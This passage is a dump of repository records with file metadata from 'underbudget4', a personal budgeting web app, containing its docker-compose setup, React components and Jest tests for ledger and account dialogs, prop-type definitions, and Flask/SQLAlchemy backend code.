screen.getAllByRole('option');\n expect(options).toHaveLength(3);\n expect(options[0]).toHaveTextContent('Category 1:Envelope 1');\n expect(options[1]).toHaveTextContent('Category 1:Envelope 2');\n expect(options[2]).toHaveTextContent('Category 3:Envelope 3');\n\n userEvent.click(options[2]);\n await waitFor(() => expect(textbox).toHaveValue('Category 3:Envelope 3'));\n\n userEvent.click(screen.getByRole('button', { name: /submit/i }));\n await waitFor(() => expect(handleSubmit).toHaveBeenCalled());\n\n expect(handleSubmit.mock.calls[0][0]).toEqual({ envelope: 3 });\n});\n" }, { "alpha_fraction": 0.5953206419944763, "alphanum_fraction": 0.6057192087173462, "avg_line_length": 17.03125, "blob_id": "c825bb57a1e44c6d4936f8e65e1ef2be3ef66574", "content_id": "d6cd6e8305a6c4b65d49b3fcc288c832245faa48", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "YAML", "length_bytes": 1154, "license_type": "permissive", "max_line_length": 48, "num_lines": 64, "path": "/docker-compose.yml", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "version: '3.4'\n\nservices:\n proxy:\n image: linuxserver/swag\n container_name: underbudget-proxy\n cap_add:\n - NET_ADMIN\n restart: unless-stopped\n env_file: .proxy.env\n ports:\n - 80:80\n - 443:443\n volumes:\n - ./proxy:/config\n\n authelia:\n image: authelia/authelia\n container_name: underbudget-auth\n restart: unless-stopped\n env_file: .auth.env\n volumes:\n - ./authelia:/config\n\n db:\n image: postgres\n container_name: underbudget-db\n restart: unless-stopped\n env_file: .db.env\n volumes:\n - db-data:/var/lib/postgresql/data\n\n db-backup:\n image: prodrigestivill/postgres-backup-local\n container_name: underbudget-backup\n restart: always\n volumes:\n - ./backups:/backups\n links:\n - db\n depends_on:\n - db\n env_file:\n - .db.env\n - .backup.env\n\n api:\n build: backend\n container_name: underbudget-api\n restart: always\n depends_on:\n - db\n env_file: .db.env\n\n app:\n build: webapp\n container_name: underbudget-app\n restart: always\n depends_on:\n - api\n\nvolumes:\n db-data:\n name: underbudget-db-data\n" }, { "alpha_fraction": 0.674290657043457, "alphanum_fraction": 0.680370569229126, "avg_line_length": 35.74468231201172, "blob_id": "e9f87ee3d63638e49abf2d662300a64307c83d85", "content_id": "f206528737f6ae5bf0e81c1f7ac4b6471037c04f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3454, "license_type": "permissive", "max_line_length": 98, "num_lines": 94, "path": "/webapp/src/features/accounts/components/__tests__/ModifyAccountCategoryDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport renderWithRouter from 'test/renderWithRouter';\nimport ModifyAccountCategoryDialog from '../ModifyAccountCategoryDialog';\n\nconst render = (category, code = 200) => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet(`/api/account-categories/${category.id}`).reply(code, category);\n\n const queryClient = new QueryClient({\n defaultOptions: { queries: { retry: false } },\n });\n\n localStorage.setItem('underbudget.selected.ledger', '2');\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route path='/accounts/modify-category/:id' element={<ModifyAccountCategoryDialog />} />\n </Routes>\n </QueryClientProvider>,\n { route: `/accounts/modify-category/${category.id}` },\n ),\n mockAxios,\n queryClient,\n };\n};\n\ntest('should close dialog when unable to fetch category', async () => {\n const { history } = render({ id: 3 }, 404);\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /modify category/i })).toBeInTheDocument(),\n );\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /modify category/i })).not.toBeInTheDocument(),\n );\n await waitFor(() => expect(history.location.pathname).toBe('/accounts'));\n});\n\ntest('should prevent submission when required fields are missing', async () => {\n render({ id: 3, name: 'A category', lastUpdated: '' });\n\n await waitFor(() => expect(screen.getByLabelText(/name/i)).toHaveValue('A category'));\n\n userEvent.clear(screen.getByLabelText(/name/i));\n\n const saveButton = screen.getByRole('button', { name: /save/i });\n userEvent.click(saveButton);\n await waitFor(() => expect(screen.getByText(/required/i)).toBeInTheDocument());\n expect(saveButton).toBeDisabled();\n});\n\ntest('should show error message when request error', async () => {\n const { mockAxios } = render({ id: 3, name: 'A category', lastUpdated: '' });\n mockAxios.onPut('/api/account-categories/3').reply(400);\n\n await waitFor(() => expect(screen.getByLabelText(/name/i)).toHaveValue('A category'));\n\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n await waitFor(() =>\n expect(screen.getByText(/unable to modify account category/i)).toBeInTheDocument(),\n );\n});\n\ntest('should close and refresh query when successful modify', async () => {\n const { mockAxios, queryClient } = render({ id: 3, name: 'A category', lastUpdated: '' });\n mockAxios.onPut('/api/account-categories/3').reply(200);\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n\n await waitFor(() => expect(screen.getByLabelText(/name/i)).toHaveValue('A category'));\n\n userEvent.type(screen.getByLabelText(/name/i), '{selectall}my category name');\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /modify category/i })).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockAxios.history.put[0].data)).toEqual({\n name: 'my category name',\n });\n expect(invalidateQueries).toHaveBeenCalledWith([\n 'account-categories',\n {\n ledger: '2',\n },\n ]);\n});\n" }, { "alpha_fraction": 0.6389167308807373, "alphanum_fraction": 0.6394182443618774, "avg_line_length": 31.68852424621582, "blob_id": "aa84d0d3d4e8f8b6293dfa1e239b72c39dc64430", "content_id": "d483b43052e835f4c27a4738c75962300048c437", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1994, "license_type": "permissive", "max_line_length": 88, "num_lines": 61, "path": "/webapp/src/features/transactions/components/SelectableTransactionsList.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Checkbox from '@material-ui/core/Checkbox';\nimport List from '@material-ui/core/List';\nimport ListItem from '@material-ui/core/ListItem';\nimport ListItemIcon from '@material-ui/core/ListItemIcon';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport Skeleton from '@material-ui/lab/Skeleton';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useFormatMoney from 'common/hooks/useFormatMoney';\n\nconst SelectableTransactionsList = ({ loading, onSelect, selected, transactions }) => {\n const formatMoney = useFormatMoney();\n return (\n <List dense disablePadding>\n {loading && (\n <ListItem>\n <ListItemText primary={<Skeleton />} secondary={<Skeleton />} />\n </ListItem>\n )}\n {transactions.map((transaction) => (\n <ListItem\n button\n key={transaction.id}\n onClick={() => onSelect(transaction)}\n role={undefined}\n >\n <ListItemIcon>\n <Checkbox\n checked={selected.indexOf(transaction.id) !== -1}\n disableRipple\n edge='start'\n inputProps={{ 'aria-labelledby': `transaction-select-${transaction.id}` }}\n />\n </ListItemIcon>\n <ListItemText\n id={`transaction-select-${transaction.id}`}\n primary={`${transaction.recordedDate} - ${transaction.payee}`}\n secondary={formatMoney(transaction.amount)}\n />\n </ListItem>\n ))}\n </List>\n );\n};\n\nSelectableTransactionsList.propTypes = {\n loading: PropTypes.bool.isRequired,\n onSelect: PropTypes.func.isRequired,\n selected: PropTypes.arrayOf(PropTypes.number).isRequired,\n transactions: PropTypes.arrayOf(\n PropTypes.shape({\n amount: PropTypes.number.isRequired,\n id: PropTypes.number.isRequired,\n payee: PropTypes.string.isRequired,\n recordedDate: PropTypes.string.isRequired,\n }),\n ).isRequired,\n};\n\nexport default SelectableTransactionsList;\n" }, { "alpha_fraction": 0.7876448035240173, "alphanum_fraction": 0.7876448035240173, "avg_line_length": 29.47058868408203, "blob_id": "80e28dbe9c616d1bf28a2d1d6a87a71957e3ca26", "content_id": "5fa9f95183803c9894f36464ad7d069d7d7f542a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 518, "license_type": "permissive", "max_line_length": 53, "num_lines": 17, "path": "/webapp/src/features/transactions/utils/history-transaction-prop-types.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\n\nimport transactionTypes from './transaction-types';\n\nconst propTypes = PropTypes.shape({\n id: PropTypes.number.isRequired,\n transactionId: PropTypes.number.isRequired,\n type: PropTypes.oneOf(transactionTypes).isRequired,\n recordedDate: PropTypes.string.isRequired,\n payee: PropTypes.string.isRequired,\n memo: PropTypes.string.isRequired,\n amount: PropTypes.number.isRequired,\n balance: PropTypes.number.isRequired,\n cleared: PropTypes.bool,\n});\n\nexport default propTypes;\n" }, { "alpha_fraction": 0.6541095972061157, "alphanum_fraction": 0.6609588861465454, "avg_line_length": 33.537635803222656, "blob_id": "7cd00f2877a432e8962db126183dd6fb60d0606d", "content_id": "5f28e6fc22deb7a6aafee74b4537112701a134b8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3212, "license_type": "permissive", "max_line_length": 96, "num_lines": 93, "path": "/webapp/src/features/ledgers/components/__tests__/ModifyLedgerDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport renderWithRouter from 'test/renderWithRouter';\nimport ModifyLedgerDialog from '../ModifyLedgerDialog';\n\nconst render = (ledger) => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet(`/api/ledgers/${ledger.id}`).reply(200, ledger);\n\n const queryClient = new QueryClient();\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route\n path='/ledgers/*'\n element={\n <Routes>\n <Route path='modify/:id' element={<ModifyLedgerDialog />} />\n </Routes>\n }\n />\n </Routes>\n </QueryClientProvider>,\n { route: `/ledgers/modify/${ledger.id}` },\n ),\n mockAxios,\n queryClient,\n };\n};\n\ntest('should prevent submission when required fields are missing', async () => {\n render({ id: 'ledger-id', name: 'A ledger', currency: 980, lastUpdated: '' });\n\n await waitFor(() => expect(screen.getByLabelText(/name/i)).toHaveValue('A ledger'));\n expect(screen.getByLabelText(/currency/i)).toHaveValue('UAH');\n\n userEvent.type(screen.getByLabelText(/name/i), '{selectall}{backspace}');\n\n const saveButton = screen.getByRole('button', { name: /save/i });\n userEvent.click(saveButton);\n await waitFor(() => expect(screen.getByText(/required/i)).toBeInTheDocument());\n expect(saveButton).toBeDisabled();\n});\n\ntest('should show error message when error', async () => {\n const { mockAxios } = render({\n id: 'ledger-id',\n name: 'A ledger',\n currency: 978,\n lastUpdated: '',\n });\n mockAxios.onPut('/api/ledgers/ledger-id').reply(400);\n\n await waitFor(() => expect(screen.getByLabelText(/name/i)).toHaveValue('A ledger'));\n\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n await waitFor(() => expect(screen.getByText(/unable to modify ledger/i)).toBeInTheDocument());\n});\n\ntest('should close and refresh query when successful modify', async () => {\n const { mockAxios, queryClient } = render({\n id: 'ledger-id',\n name: 'A ledger',\n currency: 978,\n lastUpdated: '',\n });\n mockAxios.onPut('/api/ledgers/ledger-id').reply(200);\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n\n await waitFor(() => expect(screen.getByLabelText(/name/i)).toHaveValue('A ledger'));\n\n userEvent.type(screen.getByLabelText(/name/i), '{selectall}my ledger');\n userEvent.type(screen.getByLabelText(/currency/i), '{selectall}USD');\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /modify ledger/i })).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockAxios.history.put[0].data)).toEqual({\n name: 'my ledger',\n currency: 840,\n });\n expect(invalidateQueries).toHaveBeenCalledWith('ledgers');\n expect(invalidateQueries).toHaveBeenCalledWith(['ledger', 'ledger-id']);\n});\n" }, { "alpha_fraction": 0.680272102355957, "alphanum_fraction": 0.6885325312614441, "avg_line_length": 33.88135528564453, "blob_id": "460812029c9917b038490f81ac9ce047845f1e1f", "content_id": "b9d4c86b13bd790f7f5ee7d539ca9b633a36367c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2058, "license_type": "permissive", "max_line_length": 83, "num_lines": 59, "path": "/backend/underbudget/models/account.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Account database models \"\"\"\nfrom typing import List\nfrom werkzeug.exceptions import Conflict\n\nfrom underbudget.database import db\nfrom underbudget.models.base import AuditModel, CrudModel\nfrom underbudget.models.ledger import LedgerModel\n\n\nclass AccountCategoryModel(db.Model, AuditModel, CrudModel):\n \"\"\" Account category model \"\"\"\n\n __tablename__ = \"account_category\"\n\n id = db.Column(db.Integer, primary_key=True)\n ledger_id = db.Column(db.Integer, db.ForeignKey(\"ledger.id\"), nullable=False)\n accounts = db.relationship(\"AccountModel\", cascade=\"delete\")\n\n name = db.Column(db.String(128), nullable=False)\n\n @classmethod\n def find_by_ledger_id(cls, ledger_id: int) -> List[\"AccountCategoryModel\"]:\n \"\"\" Queries for account categories under the given ledger ID \"\"\"\n return cls.query.filter_by(ledger_id=ledger_id).all()\n\n def delete(self):\n \"\"\" Deletes the category if it does not contain any child accounts \"\"\"\n if len(self.accounts) > 0:\n raise Conflict(\"Category contains accounts\")\n super().delete()\n\n\nLedgerModel.account_categories = db.relationship(\n \"AccountCategoryModel\", cascade=\"delete\"\n)\n\n\nclass AccountModel(db.Model, AuditModel, CrudModel):\n \"\"\" Account model \"\"\"\n\n __tablename__ = \"account\"\n\n id = db.Column(db.Integer, primary_key=True)\n category_id = db.Column(\n db.Integer, db.ForeignKey(\"account_category.id\"), nullable=False\n )\n transactions = db.relationship(\"AccountTransactionModel\", lazy=\"select\")\n\n name = db.Column(db.String(128), nullable=False)\n institution = db.Column(db.String(256), nullable=False)\n account_number = db.Column(db.String(256), nullable=False)\n archived = db.Column(db.Boolean, nullable=False)\n external_id = db.Column(db.String(256), nullable=False)\n\n def delete(self):\n \"\"\" Deletes the account if it does not have any associated transactions \"\"\"\n if len(self.transactions) > 0:\n raise Conflict(\"Account is referenced by transactions\")\n super().delete()\n" }, { "alpha_fraction": 0.769345223903656, "alphanum_fraction": 0.769345223903656, "avg_line_length": 29.545454025268555, "blob_id": "f133dfca2c697dad50f1083509210c993d11447c", "content_id": "e37ce775faa4cbb1a0321ad544931749d310f317", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 672, "license_type": "permissive", "max_line_length": 97, "num_lines": 22, "path": "/webapp/src/features/reconciliations/components/NoReconciliationsAlert.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Button from '@material-ui/core/Button';\nimport Alert from '@material-ui/lab/Alert';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useNavigateToCreateReconciliation from '../hooks/useNavigateToCreateReconciliation';\n\nconst NoReconciliationsAlert = ({ accountId }) => {\n const handleCreateReconciliation = useNavigateToCreateReconciliation(accountId);\n\n return (\n <Alert action={<Button onClick={handleCreateReconciliation}>Create</Button>} severity='info'>\n No reconciliations exist yet\n </Alert>\n );\n};\n\nNoReconciliationsAlert.propTypes = {\n accountId: PropTypes.number.isRequired,\n};\n\nexport default NoReconciliationsAlert;\n" }, { "alpha_fraction": 0.7346683144569397, "alphanum_fraction": 0.7346683144569397, "avg_line_length": 30.959999084472656, "blob_id": "aeb13098a142e2299ee9eb87b4b2e5c84668dbc3", "content_id": "7facd827a10422034765ea3db28d3d7da53ff45f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1598, "license_type": "permissive", "max_line_length": 81, "num_lines": 50, "path": "/webapp/src/features/budgets/components/ModifyAnnualExpenseDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\nimport React from 'react';\nimport { useParams } from 'react-router-dom';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport useFetchAnnualExpense from '../hooks/useFetchAnnualExpense';\nimport useModifyAnnualExpense from '../hooks/useModifyAnnualExpense';\nimport AnnualExpenseForm from './AnnualExpenseForm';\n\nconst ModifyAnnualExpenseDialog = ({ budgetId, onExitNavigateTo, periods }) => {\n const navigate = useNavigateKeepingSearch();\n const { expenseId } = useParams();\n const { data, isLoading } = useFetchAnnualExpense(\n { id: expenseId },\n { onError: () => navigate(onExitNavigateTo) },\n );\n const expense = {\n ...AnnualExpenseForm.initialValues,\n ...data,\n };\n const { mutate } = useModifyAnnualExpense(budgetId);\n\n return (\n <FormDialog\n actionText='Save'\n enableReinitialize\n FormComponent={AnnualExpenseForm}\n formProps={{ disableDetailsSwitch: true, periods }}\n initialValues={expense}\n isLoading={isLoading}\n onExitNavigateTo={onExitNavigateTo}\n onSubmit={mutate}\n title='Modify Annual Expense'\n validationSchema={AnnualExpenseForm.validationSchema}\n />\n );\n};\n\nModifyAnnualExpenseDialog.propTypes = {\n budgetId: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n onExitNavigateTo: PropTypes.string,\n periods: PropTypes.number.isRequired,\n};\n\nModifyAnnualExpenseDialog.defaultProps = {\n onExitNavigateTo: '../..',\n};\n\nexport default ModifyAnnualExpenseDialog;\n" }, { "alpha_fraction": 0.7558236122131348, "alphanum_fraction": 0.7583194971084595, "avg_line_length": 36.5625, "blob_id": "104444d35f7cea2313bbeb2765b3d2f15f0f0a78", "content_id": "addfbd1c77a95e2c156383b878784a3158a94cc5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2404, "license_type": "permissive", "max_line_length": 76, "num_lines": 64, "path": "/backend/underbudget/app.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\"Flask application factory\"\"\"\nfrom typing import Tuple, Dict\nfrom flask import Flask\nfrom sqlalchemy.exc import SQLAlchemyError\nfrom werkzeug.exceptions import BadRequest\n\nfrom underbudget import config\n\n\n# pylint: disable=too-many-locals\ndef create_app(app_config=config.BaseConfig) -> Flask:\n \"\"\"Creates the Flask application instance\"\"\"\n app = Flask(__name__, instance_relative_config=True)\n app.config.from_object(app_config)\n app.config.from_pyfile(\"config.py\", silent=True)\n\n # pylint: disable=import-outside-toplevel\n from underbudget.database import db, migrate\n\n db.init_app(app)\n migrate.init_app(app, db)\n\n import underbudget.views.accounts as accounts\n import underbudget.views.balances as balances\n import underbudget.views.budgets as budgets\n import underbudget.views.budget_generators as budget_generators\n import underbudget.views.budget_queries as budget_queries\n import underbudget.views.demo as demo\n import underbudget.views.envelopes as envelopes\n import underbudget.views.health as health\n import underbudget.views.ledgers as ledgers\n import underbudget.views.reconciliations as reconciliations\n import underbudget.views.transactions as transactions\n import underbudget.views.transaction_queries as transaction_queries\n\n health.HealthView.register(app)\n ledgers.LedgersView.register(app)\n accounts.AccountCategoriesView.register(app)\n accounts.AccountsView.register(app)\n envelopes.EnvelopeCategoriesView.register(app)\n envelopes.EnvelopesView.register(app)\n transactions.TransactionsView.register(app)\n transactions.AccountTransactionsView.register(app)\n transactions.EnvelopeTransactionsView.register(app)\n balances.AccountBalancesView.register(app)\n balances.EnvelopeBalancesView.register(app)\n budgets.register(app)\n budget_generators.register(app)\n budget_queries.register(app)\n reconciliations.register(app)\n transaction_queries.register(app)\n demo.DemoView.register(app)\n\n # pylint: disable=unused-variable\n @app.errorhandler(SQLAlchemyError)\n def handle_db_error(err: SQLAlchemyError) -> Tuple[Dict[str, str], int]:\n print(err)\n return {\"msg\": \"Internal error\"}, 500\n\n @app.errorhandler(BadRequest)\n def handle_bad_request(err: BadRequest) -> Tuple[Dict[str, str], int]:\n return {\"msg\": err.description}, 400\n\n return app\n" }, { "alpha_fraction": 0.6392370462417603, "alphanum_fraction": 0.6457765698432922, "avg_line_length": 25.214284896850586, "blob_id": "6f254edcbfb3b147c3fb6c8e2c3a4bb425ed1c9a", "content_id": "d1795aa000627663fcea5e662bf2477410ff13ba", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1835, "license_type": "permissive", "max_line_length": 75, "num_lines": 70, "path": "/webapp/src/features/reconciliations/routes/__stories__/AccountReconciliationsPage.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\nimport { Route, Routes, useLocation, useNavigate } from 'react-router-dom';\n\nimport AppProviders from 'common/components/AppProviders';\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport { reconciliationsGenerator } from 'test/data-generators';\nimport AccountReconciliationsPage from '../AccountReconciliationsPage';\n\nconst GoBack = () => {\n const navigate = useNavigate();\n const location = useLocation();\n const { from } = location.state || { from: 'no-from-in-state' };\n return (\n <button type='button' onClick={() => navigate(from)}>\n go back\n </button>\n );\n};\n\nexport default {\n title: 'reconciliations/AccountReconciliationsPage',\n component: AccountReconciliationsPage,\n decorators: [\n (story) => (\n <Routes>\n <Route path='/account/:id/reconciliations/*' element={story()} />\n <Route path='*' element={<GoBack />} />\n </Routes>\n ),\n (story) => <AppProviders>{story()}</AppProviders>,\n (story) => {\n setSelectedLedger('2');\n return story();\n },\n ],\n parameters: {\n initialRoute: '/account/8/reconciliations',\n },\n};\n\nconst setupApi = (total) => ({\n get: [\n ['/api/ledgers/2', { currency: 840 }],\n ['/api/accounts/8', { name: 'Account Name' }],\n [\n /\\/api\\/accounts\\/8\\/reconciliations.*/,\n {\n reconciliations: reconciliationsGenerator(total),\n total,\n },\n ],\n ],\n});\n\nconst Template = () => <AccountReconciliationsPage />;\n\nexport const NoReconciliations = Template.bind({});\nNoReconciliations.parameters = {\n api: setupApi(0),\n};\n\nexport const SeveralReconciliations = Template.bind({});\nSeveralReconciliations.parameters = {\n api: setupApi(5),\n};\n\nexport const ManyReconciliations = Template.bind({});\nManyReconciliations.parameters = {\n api: setupApi(25),\n};\n" }, { "alpha_fraction": 0.7433628439903259, "alphanum_fraction": 0.7433628439903259, "avg_line_length": 29.81818199157715, "blob_id": "8d0a13cee33a5c59a3dd5ffb66f8a656ec93b4f2", "content_id": "5aee88e768776c1affdc1b766e68a46f4c59cf87", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 678, "license_type": "permissive", "max_line_length": 75, "num_lines": 22, "path": "/webapp/src/features/envelopes/components/CreateEnvelopeCategoryDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport FormDialog from '../../../common/components/FormDialog';\nimport useCreateEnvelopeCategory from '../hooks/useCreateEnvelopeCategory';\nimport EnvelopeCategoryForm from './EnvelopeCategoryForm';\n\nconst CreateEnvelopeCategoryDialog = () => {\n const { mutate } = useCreateEnvelopeCategory();\n return (\n <FormDialog\n actionText='Create'\n disableFullScreen\n FormComponent={EnvelopeCategoryForm}\n initialValues={EnvelopeCategoryForm.initialValues}\n onSubmit={mutate}\n title='Create Category'\n validationSchema={EnvelopeCategoryForm.validationSchema}\n />\n );\n};\n\nexport default CreateEnvelopeCategoryDialog;\n" }, { "alpha_fraction": 0.6300578117370605, "alphanum_fraction": 0.6300578117370605, "avg_line_length": 21.897058486938477, "blob_id": "0ce36968b329303103358f577fd276fdfb353589", "content_id": "812e2169b806a0fd709ca84aaefcef9ee88d8520", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1557, "license_type": "permissive", "max_line_length": 80, "num_lines": 68, "path": "/webapp/src/common/components/NumberInputField/NumberInputField.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { TextField } from 'formik-material-ui';\nimport PropTypes from 'prop-types';\nimport React from 'react';\nimport NumberFormat from 'react-number-format';\n\nconst NumberInput = ({ inputRef, onChange, ...props }) => (\n <NumberFormat\n {...props}\n getInputRef={inputRef}\n isNumericString\n onValueChange={(values) => {\n onChange({\n target: {\n name: props.name,\n value: values.floatValue,\n },\n });\n }}\n />\n);\n\nNumberInput.propTypes = {\n inputRef: PropTypes.func.isRequired,\n name: PropTypes.string.isRequired,\n onChange: PropTypes.func.isRequired,\n};\n\nconst NumberInputField = ({\n field: { onChange, value, ...field },\n fromValue,\n numberInputProps,\n toValue,\n ...props\n}) => (\n <TextField\n {...props}\n field={{\n ...field,\n onChange: ({ target: { name: targetName, value: targetValue } }) =>\n onChange({ target: { name: targetName, value: toValue(targetValue) } }),\n value: fromValue(value),\n }}\n InputProps={{\n inputComponent: NumberInput,\n inputProps: {\n ...numberInputProps,\n },\n }}\n />\n);\n\nNumberInputField.propTypes = {\n field: PropTypes.shape({\n onChange: PropTypes.func.isRequired,\n value: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n }).isRequired,\n fromValue: PropTypes.func,\n numberInputProps: PropTypes.shape({}),\n toValue: PropTypes.func,\n};\n\nNumberInputField.defaultProps = {\n fromValue: (v) => v,\n numberInputProps: {},\n toValue: (v) => v,\n};\n\nexport default NumberInputField;\n" }, { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 32.5, "blob_id": "f2eb6e7b1c666071378fa6800672639151c22428", "content_id": "ee23ee1b1b4ff21328c8e76f96542069f770467b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 335, "license_type": "permissive", "max_line_length": 48, "num_lines": 10, "path": "/webapp/src/features/reconciliations/types/reconciliation-prop-type.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\n\nexport default PropTypes.shape({\n id: PropTypes.number.isRequired,\n accountId: PropTypes.number.isRequired,\n beginningBalance: PropTypes.number.isRequired,\n beginningDate: PropTypes.string.isRequired,\n endingBalance: PropTypes.number.isRequired,\n endingDate: PropTypes.string.isRequired,\n});\n" }, { "alpha_fraction": 0.6354514956474304, "alphanum_fraction": 0.6371237635612488, "avg_line_length": 22, "blob_id": "953face86de5d7118beb585f68bd1dc5225985eb", "content_id": "a3bac75e320c046238657e673c41ae1c58786bda", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 598, "license_type": "permissive", "max_line_length": 56, "num_lines": 26, "path": "/webapp/src/features/transactions/components/TransactionForm/ErrorMessage.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Alert from '@material-ui/lab/Alert';\nimport { makeStyles } from '@material-ui/core/styles';\nimport { getIn, useFormikContext } from 'formik';\nimport React from 'react';\n\nconst useStyles = makeStyles((theme) => ({\n alert: {\n marginTop: theme.spacing(1),\n },\n}));\n\nconst ErrorMessage = () => {\n const classes = useStyles();\n const { errors } = useFormikContext();\n const sumError = getIn(errors, 'sum');\n if (sumError) {\n return (\n <Alert className={classes.alert} severity='error'>\n {sumError}\n </Alert>\n );\n }\n return null;\n};\n\nexport default ErrorMessage;\n" }, { "alpha_fraction": 0.5256637334823608, "alphanum_fraction": 0.5327433347702026, "avg_line_length": 25.904762268066406, "blob_id": "6c4ed4342fb63accc5cea9214c8959e6bf11bbb9", "content_id": "2b20547aeb2f8509047160dc4dd9f580484016ab", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 565, "license_type": "permissive", "max_line_length": 68, "num_lines": 21, "path": "/webapp/src/features/envelopes/hooks/useEnvelopeName.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport useEnvelopes from './useEnvelopes';\n\nexport default () => {\n const { categories = [] } = useEnvelopes({ sorted: false });\n return React.useCallback(\n (id) => {\n for (let i = 0; i < categories.length; i += 1) {\n const category = categories[i];\n for (let j = 0; j < category.envelopes.length; j += 1) {\n if (category.envelopes[j].id === id) {\n return `${category.name}:${category.envelopes[j].name}`;\n }\n }\n }\n return 'unknown';\n },\n [categories],\n );\n};\n" }, { "alpha_fraction": 0.82280433177948, "alphanum_fraction": 0.82280433177948, "avg_line_length": 39.5625, "blob_id": "e7d46fdc954f55f854f10498a5e9282457b9a9a4", "content_id": "6d32b60f3d897c708fb313b447c9053eb890fa5d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 649, "license_type": "permissive", "max_line_length": 83, "num_lines": 16, "path": "/webapp/src/features/transactions/utils/transaction-prop-types.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\n\nimport accountTransactionPropTypes from './account-transaction-prop-types';\nimport envelopeTransactionPropTypes from './envelope-transaction-prop-types';\nimport transactionTypes from './transaction-types';\n\nconst propTypes = PropTypes.shape({\n id: PropTypes.number.isRequired,\n type: PropTypes.oneOf(transactionTypes).isRequired,\n recordedDate: PropTypes.string.isRequired,\n payee: PropTypes.string.isRequired,\n accountTransactions: PropTypes.arrayOf(accountTransactionPropTypes).isRequired,\n envelopeTransactions: PropTypes.arrayOf(envelopeTransactionPropTypes).isRequired,\n});\n\nexport default propTypes;\n" }, { "alpha_fraction": 0.6738197207450867, 